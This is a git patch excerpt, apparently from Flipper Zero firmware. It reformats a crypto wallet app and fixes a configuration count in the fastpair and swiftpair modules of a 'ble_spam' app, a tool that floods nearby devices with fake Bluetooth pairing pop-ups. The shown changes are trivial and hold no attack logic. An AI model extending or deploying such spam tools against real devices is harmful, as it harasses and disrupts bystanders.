a/applications/external/flipbip/flipbip.c +++ b/applications/external/flipbip/flipbip.c @@ -102,8 +102,7 @@ static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* con static void flipbip_wallet_create(void* context) { FlipBip* app = context; furi_assert(app); - scene_manager_set_scene_state( - app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); + scene_manager_set_scene_state(app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New); scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1); } @@ -171,7 +170,8 @@ FlipBip* flipbip_app_alloc() { dialog_ex_set_context(app->renew_dialog, app); dialog_ex_set_left_button_text(app->renew_dialog, "No"); dialog_ex_set_right_button_text(app->renew_dialog, "Yes"); - dialog_ex_set_header(app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); + dialog_ex_set_header( + app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop); view_dispatcher_add_view( app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog)); diff --git a/applications/external/flipbip/flipbip.h b/applications/external/flipbip/flipbip.h index 573ef0588..12d910497 100644 --- a/applications/external/flipbip/flipbip.h +++ b/applications/external/flipbip/flipbip.h @@ -24,8 +24,6 @@ #define TEXT_BUFFER_SIZE 256 - - typedef struct { Gui* gui; // NotificationApp* notification; @@ -50,7 +48,7 @@ typedef struct { char import_mnemonic_text[TEXT_BUFFER_SIZE]; char input_text[TEXT_BUFFER_SIZE]; - void (* wallet_create)(void* context); + void (*wallet_create)(void* context); } FlipBip; typedef enum { From eee662f188642941bcfec826daf8f825734845c4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 22 Oct 2023 03:47:49 +0100 Subject: [PATCH 41/41] Fix click offsets for fastpair and swiftpair --nobuild --- applications/external/ble_spam/protocols/fastpair.c | 2 +- applications/external/ble_spam/protocols/swiftpair.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index a5caf80cc..1e7c2920c 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -147,7 +147,7 @@ static void fastpair_extra_config(Ctx* ctx) { static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) { UNUSED(_cfg); - return ConfigCOUNT; + return ConfigCOUNT - ConfigExtraStart - 1; } const Protocol protocol_fastpair = { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index fc21f1778..b204f8eef 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -81,7 +81,7 @@ static void swiftpair_extra_config(Ctx* ctx) { static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) { UNUSED(_cfg); - return ConfigCOUNT; + return ConfigCOUNT - ConfigExtraStart - 1; } const Protocol protocol_swiftpair = {